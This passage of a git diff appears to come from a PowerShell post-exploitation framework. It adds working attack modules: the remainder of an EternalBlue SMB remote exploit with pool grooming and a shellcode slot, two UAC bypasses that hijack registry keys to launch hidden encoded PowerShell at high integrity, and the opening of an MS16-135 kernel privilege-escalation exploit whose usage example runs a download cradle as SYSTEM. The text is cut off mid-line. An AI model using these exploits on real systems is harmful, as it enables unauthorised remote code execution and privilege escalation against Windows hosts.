\,0xxx.xxx.xxx.xxx\IPC$ + $pkt += 0x00 # null byte after ipc added by kev + + $pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00 # Service + + + $len = $pkt.Length - 4 + # netbios[1] =$pkt +=0x00' + struct.pack('>H length) + $hexlen = [bitconverter]::GetBytes($len)[-2..-4] + $pkt[1] = $hexlen[0] + $pkt[2] = $hexlen[1] + $pkt[3] = $hexlen[2] + return $pkt + + } + + + +function smb_header($smbheader) { + +$parsed_header =@{server_component=$smbheader[0..3]; + smb_command=$smbheader[4]; + error_class=$smbheader[5]; + reserved1=$smbheader[6]; + error_code=$smbheader[6..7]; + flags=$smbheader[8]; + flags2=$smbheader[9..10]; + process_id_high=$smbheader[11..12]; + signature=$smbheader[13..21]; + reserved2=$smbheader[22..23]; + tree_id=$smbheader[24..25]; + process_id=$smbheader[26..27]; + user_id=$smbheader[28..29]; + multiplex_id=$smbheader[30..31]; + } +return $parsed_header + +} + + + + +function smb1_get_response($sock){ + + + + $tcp_response = [Array]::CreateInstance("byte", 1024) + try{ + $sock.Receive($tcp_response)| out-null + + } + catch { + Write-Verbose "socket error, exploit may fail " + } + $netbios = $tcp_response[0..4] + $smb_header = $tcp_response[4..36] # SMB Header: 32 bytes + $parsed_header = smb_header($smb_header) + + return $tcp_response, $parsed_header + +} + + +function client_negotiate($sock){ +$raw_proto = negotiate_proto_request + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + +} + +function smb1_anonymous_login($sock){ + $raw_proto = make_smb1_anonymous_login_packet + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + + +} + +function tree_connect_andx($sock, $Target, $userid){ + $raw_proto = tree_connect_andx_request $Target $userid + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + + +} + + +function smb1_anonymous_connect_ipc($Target) +{ + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $sock = $client.Client + client_negotiate($sock) | Out-Null + + $raw, $smbheader = smb1_anonymous_login $sock + + $raw, $smbheader = tree_connect_andx $sock $Target $smbheader.user_id + + + return $smbheader, $sock + + + +} + + +function smb1_large_buffer($smbheader,$sock){ + + $nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id + + # send NT Trans + + $sock.Send($nt_trans_pkt) | out-null + + $raw, $transheader = smb1_get_response($sock) + + #initial trans2 request + $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0 + + #send all but the last packet + for($i =1; $i -le 14; $i++) { + $trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i + + } + + $trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id $smbheader.user_id + $sock.Send($trans2_pkt_nulled) | out-null + + smb1_get_response($sock) | Out-Null + +} + + +function smb1_free_hole($start) { + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $sock = $client.Client + client_negotiate($sock) | Out-Null + if($start) { + $pkt = make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00) + } + else { + $pkt = make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00) + } + + $sock.Send($pkt) | out-null + smb1_get_response($sock) | Out-Null + return $sock +} + + function smb2_grooms($Target, $grooms, $payload_hdr_pkt, $groom_socks){ + + + for($i =0; $i -lt $grooms; $i++) + { + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $gsock = $client.Client + $groom_socks += $gsock + $gsock.Send($payload_hdr_pkt) | out-null + + } + return $groom_socks + } + + + + +function smb_eternalblue($Target, $grooms, $Shellcode) { + + + #replace null bytes with your shellcode + [Byte[]] $payload = [Byte[]]($Shellcode) + + $shellcode = make_kernel_user_payload($payload) + $payload_hdr_pkt = make_smb2_payload_headers_packet + $payload_body_pkt = make_smb2_payload_body_packet($shellcode) + + Write-Verbose "Connecting to target for activities" + $smbheader, $sock = smb1_anonymous_connect_ipc($Target) + $sock.ReceiveTimeout =2000 + Write-Verbose "Connection established for exploitation." + # Step 2: Create a large SMB1 buffer + Write-Verbose "all but last fragment of exploit packet" + smb1_large_buffer $smbheader $sock + # Step 3: Groom the pool with payload packets, and open/close SMB1 packets + + # initialize_groom_threads(ip, port, payload, grooms) + $fhs_sock = smb1_free_hole $true + $groom_socks =@() + $groom_socks = smb2_grooms $Target $grooms $payload_hdr_pkt $groom_socks + + $fhf_sock = smb1_free_hole $false + + $fhs_sock.Close() | Out-Null + + $groom_socks = smb2_grooms $Target 6 $payload_hdr_pkt $groom_socks + + $fhf_sock.Close() | out-null + + Write-Verbose "Running final exploit packet" + + $final_exploit_pkt = $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit" 15 + + try{ + $sock.Send($final_exploit_pkt) | Out-Null + $raw, $exploit_smb_header = smb1_get_response $sock + Write-Verbose ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code)) + + } + catch { + Write-Verbose "socket error, exploit may fail horribly" + } + + + Write-Verbose "Send the payload with the grooms" + + foreach ($gsock in $groom_socks) + { + $gsock.Send($payload_body_pkt[0..2919]) | out-null + } + foreach ($gsock in $groom_socks) + { + $gsock.Send($payload_body_pkt[2920..4072]) | out-null + } + foreach ($gsock in $groom_socks) + { + $gsock.Close() | out-null + } + + $sock.Close()| out-null + } + + + + +$VerbosePreference = "continue" +for ($i=0; $i -lt $MaxAttempts; $i++) { + $grooms = $InitialGrooms + $GROOM_DELTA*$i + smb_eternalblue $Target $grooms $Shellcode +} + + +} \ No newline at end of file diff --git a/data/module_source/privesc/Invoke-EnvBypass.ps1 b/data/module_source/privesc/Invoke-EnvBypass.ps1 new file mode 100644 index 000000000..5612f536c --- /dev/null +++ b/data/module_source/privesc/Invoke-EnvBypass.ps1 @@ -0,0 +1,98 @@ +function Invoke-EnvBypass { +<# +.SYNOPSIS + +Bypasses UAC (even with Always Notify level set) by performing an registry modification of the "windir" value in "Environment" based on James Forshaw findings (https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-variables-in.html) + +Only tested on Windows 10 + +Author: Petr Medonos (@PetrMedonos) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER Command + + Specifies the base64 encoded command you want to run in a high-integrity context. + +.EXAMPLE + +Invoke-EnvBypass -Command "IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" + +This will write out "Is Elevated: True" to C:\UACBypassTest. + +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] + Param ( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Command, + + [Switch] + $Force + ) + $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin + $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop + + if(($(whoami /groups) -like "*S-1-5-32-544*").length -eq 0) { + "[!] Current user not a local administrator!" + Throw ("Current user not a local administrator!") + } + if (($(whoami /groups) -like "*S-1-16-8192*").length -eq 0) { + "[!] Not in a medium integrity process!" + Throw ("Not in a medium integrity process!") + } + + #Begin Execution + #Store the payload + $RegPath = 'HKCU:Software\Microsoft\Windows\Update' + $parts = $RegPath.split('\'); + $path = $RegPath.split("\")[0..($parts.count -2)] -join '\'; + $name = $parts[-1]; + $null = Set-ItemProperty -Force -Path $path -Name $name -Value $Command; + + + $envCommandPath = "HKCU:\Environment" + $launcherCommand = $pshome + '\' + 'powershell.exe -NoP -NonI -w Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -w Hidden -enc $x; Start-Sleep -Seconds 1' + + if ($Force -or ((Get-ItemProperty -Path $envCommandPath -Name 'windir' -ErrorAction SilentlyContinue) -eq $null)){ + New-Item $envCommandPath -Force | + New-ItemProperty -Name 'windir' -Value $launcherCommand -PropertyType string -Force | Out-Null + }else{ + Write-Warning "Key already exists, consider using -Force" + exit + } + + if (Test-Path $envCommandPath) { + Write-Verbose "Created registry entries to change windir" + }else{ + Write-Warning "Failed to create registry key, exiting" + exit + } + + $schtasksPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'schtasks.exe' + if ($PSCmdlet.ShouldProcess($schtasksPath, 'Start process')) { + $Process = Start-Process -FilePath $schtasksPath -ArgumentList '/Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I' -PassThru -WindowStyle Hidden + Write-Verbose "Started schtasks.exe" + } + + #Sleep 5 seconds + Write-Verbose "Sleeping 5 seconds to trigger payload" + if (-not $PSBoundParameters['WhatIf']) { + Start-Sleep -Seconds 5 + } + + $envfilePath = "HKCU:\Environment" + $envfileKey = "windir" + $PayloadPath = 'HKCU:Software\Microsoft\Windows' + $PayloadKey = "Update" + + if (Test-Path $envfilePath) { + #Remove the registry entry + Remove-ItemProperty -Force -Path $envfilePath -Name $envfileKey + Remove-ItemProperty -Force -Path $PayloadPath -Name $PayloadKey + Write-Verbose "Removed registry entries" + } +} diff --git a/data/module_source/privesc/Invoke-FodHelperBypass.ps1 b/data/module_source/privesc/Invoke-FodHelperBypass.ps1 new file mode 100644 index 000000000..0ec7766c1 --- /dev/null +++ b/data/module_source/privesc/Invoke-FodHelperBypass.ps1 @@ -0,0 +1,105 @@ +function Invoke-FodHelperBypass { +<# +.SYNOPSIS + +Bypasses UAC by performing an registry modification for FodHelper (based on https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/) + +Only tested on Windows 10 + +Author: Petr Medonos (@PetrMedonos) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER Command + + Specifies the base64 encoded command you want to run in a high-integrity context. + +.EXAMPLE + +Invoke-FodHelperBypass -Command "IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" + +This will write out "Is Elevated: True" to C:\UACBypassTest. + +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] + Param ( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Command, + + [Switch] + $Force + ) + $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin + $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop + + if(($(whoami /groups) -like "*S-1-5-32-544*").length -eq 0) { + "[!] Current user not a local administrator!" + Throw ("Current user not a local administrator!") + } + if (($(whoami /groups) -like "*S-1-16-8192*").length -eq 0) { + "[!] Not in a medium integrity process!" + Throw ("Not in a medium integrity process!") + } + + if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){ + "UAC is set to 'Always Notify'. This module does not bypass this setting." + exit + } + else{ + #Begin Execution + + #Store the payload + $RegPath = 'HKCU:Software\Microsoft\Windows\Update' + $parts = $RegPath.split('\'); + $path = $RegPath.split("\")[0..($parts.count -2)] -join '\'; + $name = $parts[-1]; + $null = Set-ItemProperty -Force -Path $path -Name $name -Value $Command; + + $mssCommandPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command" + + $launcherCommand = $pshome + '\' + 'powershell.exe -NoP -NonI -W Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x' + #Add in the new registry entries to execute launcher + if ($Force -or ((Get-ItemProperty -Path $mssCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ + New-Item $mssCommandPath -Force | Out-Null + New-ItemProperty -Path $mssCommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null + Set-ItemProperty -Path $mssCommandPath -Name "(default)" -Value $launcherCommand -Force | Out-Null + }else{ + Write-Warning "Key already exists, consider using -Force" + exit + } + + + $FodHelperPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'fodhelper.exe' + #Start Event Viewer + if ($PSCmdlet.ShouldProcess($FodHelperPath, 'Start process')) { + $Process = Start-Process -FilePath $FodHelperPath -PassThru -WindowStyle Hidden + Write-Verbose "Started fodhelper.exe" + } + + #Sleep 5 seconds + Write-Verbose "Sleeping 5 seconds to trigger payload" + if (-not $PSBoundParameters['WhatIf']) { + Start-Sleep -Seconds 5 + } + + $mssfilePath = 'HKCU:\Software\Classes\ms-settings\' + $PayloadPath = 'HKCU:Software\Microsoft\Windows' + $PayloadKey = "Update" + + if (Test-Path $mssfilePath) { + #Remove the registry entry + Remove-Item $mssfilePath -Recurse -Force + Remove-ItemProperty -Force -Path $PayloadPath -Name $PayloadKey + Write-Verbose "Removed registry entries" + } + + if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){ + Stop-Process -Id $Process.Id + Write-Verbose "Killed running fodhelper process" + } + } +} diff --git a/data/module_source/privesc/Invoke-MS16135.ps1 b/data/module_source/privesc/Invoke-MS16135.ps1 new file mode 100644 index 000000000..d54eff053 --- /dev/null +++ b/data/module_source/privesc/Invoke-MS16135.ps1 @@ -0,0 +1,986 @@ +function Invoke-MS16135 { +<# + .SYNOPSIS + + PowerShell implementation of MS16-135 (CVE-2016-7255). + Discovered by Neel Mehta and Billy Leonard of Google Threat Analysis Group Feike Hacquebord, Peter Pi and Brooks Li of Trend Micro + Credit for the original PoC : TinySec (@TinySecEx) + Credit for the Powershell implementation : Ruben Boonen (@FuzzySec) + + Targets: + + * Win7-Win10 (x64 only) + + Successfully tested on : + + * Win7 x64 + * Win8.1 x64 + * Win10 x64 + * Win2k12 R2 x64 + + .DESCRIPTION + + Author: Ruben Boonen (@FuzzySec) + Blog: http://www.fuzzysecurity.com/ + License: BSD 3-Clause + Required Dependencies: PowerShell v2+ + Optional Dependencies: None + + EDIT: This script has been edited to include a parameter for custom commands and + also hides the spawned shell. Many comments have also been removed and echo has + moved to Write-Verbose. The original can be found at: + https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/MS16-135/MS16-135.ps1 + + .EXAMPLE + + C:\PS> Invoke-MS16135 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')" + + Description + ----------- + Will run the iex download cradle as SYSTEM + +#> + [CmdletBinding()] + param( + + [Parameter(Position=0,Mandatory=$True)] + [String] + $Command + ) + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SQOS + { + public int Length; + public int ImpersonationLevel; + public int ContextTrackingMode; + public bool EffectiveOnly; + } + + public static class Advapi32 + { + [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] + public static extern bool CreateProcessWithLogonW( + String userName, + String domain, + String password, + int logonFlags, + String applicationName, + String commandLine, + int creationFlags, + int environment, + String currentDirectory, + ref STARTUPINFO startupInfo, + out PROCESS_INFORMATION processInformation); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool SetThreadToken( + ref IntPtr Thread, + IntPtr Token); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool OpenThreadToken( + IntPtr ThreadHandle, + int DesiredAccess, + bool OpenAsSelf, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool OpenProcessToken( + IntPtr ProcessHandle, + int DesiredAccess, + ref IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError=true)] + public extern static bool DuplicateToken( + IntPtr ExistingTokenHandle, + int SECURITY_IMPERSONATION_LEVEL, + ref IntPtr DuplicateTokenHandle); + } + + public static class Kernel32 + { + [DllImport("kernel32.dll")] + public static extern uint GetLastError(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern IntPtr GetCurrentThread(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern int GetThreadId(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern int GetProcessIdOfThread(IntPtr handle); + + [DllImport("kernel32.dll",SetLastError=true)] + public static extern int SuspendThread(IntPtr hThread); + + [DllImport("kernel32.dll",SetLastError=true)] + public static extern int ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool TerminateProcess( + IntPtr hProcess, + uint uExitCode); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool DuplicateHandle( + IntPtr hSourceProcessHandle, + IntPtr hSourceHandle, + IntPtr hTargetProcessHandle, + ref IntPtr lpTargetHandle, + int dwDesiredAccess, + bool bInheritHandle, + int dwOptions); + } + + + [StructLayout(LayoutKind.Sequential)] + public struct INPUT + { + public int itype; + public KEYBDINPUT U; + public int Size; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KEYBDINPUT + { + public UInt16 wVk; + public UInt16 wScan; + public uint dwFlags; + public int time; + public IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + public struct tagMSG + { + public IntPtr hwnd; + public UInt32 message; + public UIntPtr wParam; + public UIntPtr lParam; + public UInt32 time; + public POINT pt; + } + + public struct POINT + { + public Int32 x; + public Int32 Y; + } + + public class ms16135 + { + delegate IntPtr WndProc( + IntPtr hWnd, + uint msg, + IntPtr wParam, + IntPtr lParam); + + [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)] + struct WNDCLASSEX + { + public uint cbSize; + public uint style; + public IntPtr lpfnWndProc; + public int cbClsExtra; + public int cbWndExtra; + public IntPtr hInstance; + public IntPtr hIcon; + public IntPtr hCursor; + public IntPtr hbrBackground; + [MarshalAs(UnmanagedType.LPWStr)] + public string lpszMenuName; + [MarshalAs(UnmanagedType.LPWStr)] + public string lpszClassName; + public IntPtr hIconSm; + } + + [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] + static extern System.UInt16 RegisterClassW( + [System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass); + + [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr CreateWindowExW( + UInt32 dwExStyle, + [MarshalAs(UnmanagedType.LPWStr)] + string lpClassName, + [MarshalAs(UnmanagedType.LPWStr)] + string lpWindowName, + UInt32 dwStyle, + Int32 x, + Int32 y, + Int32 nWidth, + Int32 nHeight, + IntPtr hWndParent, + IntPtr hMenu, + IntPtr hInstance, + IntPtr lpParam); + + [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] + static extern System.IntPtr DefWindowProcW( + IntPtr hWnd, + uint msg, + IntPtr wParam, + IntPtr lParam); + + [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] + public static extern bool DestroyWindow( + IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool UnregisterClass( + String lpClassName, + IntPtr hInstance); + + [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetModuleHandleW( + [MarshalAs(UnmanagedType.LPWStr)] + String lpModuleName); + + [DllImport("user32.dll", EntryPoint="SetWindowLongPtr")] + public static extern IntPtr SetWindowLongPtr( + IntPtr hWnd, + int nIndex, + IntPtr dwNewLong); + + [DllImport("user32.dll")] + public static extern bool ShowWindow( + IntPtr hWnd, + int nCmdShow); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr SetParent( + IntPtr hWndChild, + IntPtr hWndNewParent); + + [DllImport("user32.dll", SetLastError = false)] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + public static extern bool SetForegroundWindow( + IntPtr hWnd); + + [DllImport("user32.dll", SetLastError=true)] + public static extern void SwitchToThisWindow( + IntPtr hWnd, + bool fAltTab); + + [DllImport("user32.dll")] + public static extern bool GetMessage( + out tagMSG lpMsg, + IntPtr hWnd, + uint wMsgFilterMin, + uint wMsgFilterMax); + + [DllImport("user32.dll")] + public static extern bool TranslateMessage( + [In] ref tagMSG lpMsg); + + [DllImport("user32.dll")] + public static extern IntPtr DispatchMessage( + [In] ref tagMSG lpmsg); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr SetFocus( + IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern uint SendInput( + uint nInputs, + [In] INPUT pInputs, + int cbSize); + + [DllImport("gdi32.dll")] + public static extern int GetBitmapBits( + IntPtr hbmp, + int cbBuffer, + IntPtr lpvBits); + + [DllImport("gdi32.dll")] + public static extern int SetBitmapBits( + IntPtr hbmp, + int cbBytes, + IntPtr lpBits); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAlloc( + IntPtr lpAddress, + uint dwSize, + UInt32 flAllocationType, + UInt32 flProtect); + + public UInt16 CustomClass(string class_name) + { + m_wnd_proc_delegate = CustomWndProc; + WNDCLASSEX wind_class = new WNDCLASSEX(); + wind_class.lpszClassName = class_name; + ///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class); + wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate); + return RegisterClassW(ref wind_class); + } + + private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam) + { + return DefWindowProcW(hWnd, msg, wParam, lParam); + } + + private WndProc m_wnd_proc_delegate; + } +"@ + +#==============================================================[Banner] + $ms16135 = @" + _____ _____ ___ ___ ___ ___ ___ + | | __|_ | | _|___|_ | |_ | _| + | | | |__ |_| |_| . |___|_| |_|_ |_ | + |_|_|_|_____|_____|___| |_____|___|___| + + [by b33f -> @FuzzySec] + +"@ + $ms16135 + + if ([System.IntPtr]::Size -ne 8) { + "`n[!] Target architecture is x64 only!`n" + Return + } + + $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version + $Script:OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" + switch ($OSMajorMinor) + { + '10.0' # Win10 / 2k16 + { + Write-Verbose "[?] Target is Win 10" + Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n" + } + + '6.3' # Win8.1 / 2k12R2 + { + Write-Verbose "[?] Target is Win 8.1" + Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n" + } + + '6.2' # Win8 / 2k12 + { + Write-Verbose "[?] Target is Win 8" + Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n" + } + + '6.1' # Win7 / 2k8R2 + { + Write-Verbose "[?] Target is Win 7" + Write-Verbose "[+] Bitmap dimensions: 0x770*0x4`n" + } + } + + function Get-LoadedModules { + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct SYSTEM_MODULE_INFORMATION + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + public UIntPtr[] Reserved; + public IntPtr ImageBase; + public UInt32 ImageSize; + public UInt32 Flags; + public UInt16 LoadOrderIndex; + public UInt16 InitOrderIndex; + public UInt16 LoadCount; + public UInt16 ModuleNameOffset; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] + internal Char[] _ImageName; + public String ImageName { + get { + return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; + } + } + } + + public static class Ntdll + { + [DllImport("ntdll.dll")] + public static extern int NtQuerySystemInformation( + int SystemInformationClass, + IntPtr SystemInformation, + int SystemInformationLength, + ref int ReturnLength); + } +"@ + + [int]$BuffPtr_Size = 0 + while ($true) { + [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) + $SystemInformationLength = New-Object Int + + $CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) + + if ($CallResult -eq 0xC0000004) { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) + [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) + } + elseif ($CallResult -eq 0x00000000) { + break + } + else { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) + return + } + } + + $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION + $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType() + if ([System.IntPtr]::Size -eq 4) { + $SYSTEM_MODULE_INFORMATION_Size = 284 + } else { + $SYSTEM_MODULE_INFORMATION_Size = 296 + } + + $BuffOffset = $BuffPtr.ToInt64() + $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) + $BuffOffset = $BuffOffset + [System.IntPtr]::Size + + $SystemModuleArray = @() + for ($i=0; $i -lt $HandleCount; $i++){ + $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset + $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION) + + $HashTable = @{ + ImageName = $Cast.ImageName + ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()} + ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)" + } + + $Object = New-Object PSObject -Property $HashTable + $SystemModuleArray += $Object + + $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size + } + + $SystemModuleArray + + # Free SystemModuleInformation array + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) + } + + function Stage-gSharedInfoBitmap { + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + + public static class gSharedInfoBitmap + { + [DllImport("gdi32.dll")] + public static extern IntPtr CreateBitmap( + int nWidth, + int nHeight, + uint cPlanes, + uint cBitsPerPel, + IntPtr lpvBits); + + [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] + public static extern IntPtr LoadLibrary( + string lpFileName); + + [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] + public static extern IntPtr GetProcAddress( + IntPtr hModule, + string procName); + + [DllImport("user32.dll")] + public static extern IntPtr CreateAcceleratorTable( + IntPtr lpaccl, + int cEntries); + + [DllImport("user32.dll")] + public static extern bool DestroyAcceleratorTable( + IntPtr hAccel); + } +"@ + + if ([System.IntPtr]::Size -eq 4) { + $x32 = 1 + } + + function Create-AcceleratorTable { + [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000) + $AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size + $User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll") + $gSharedInfo = 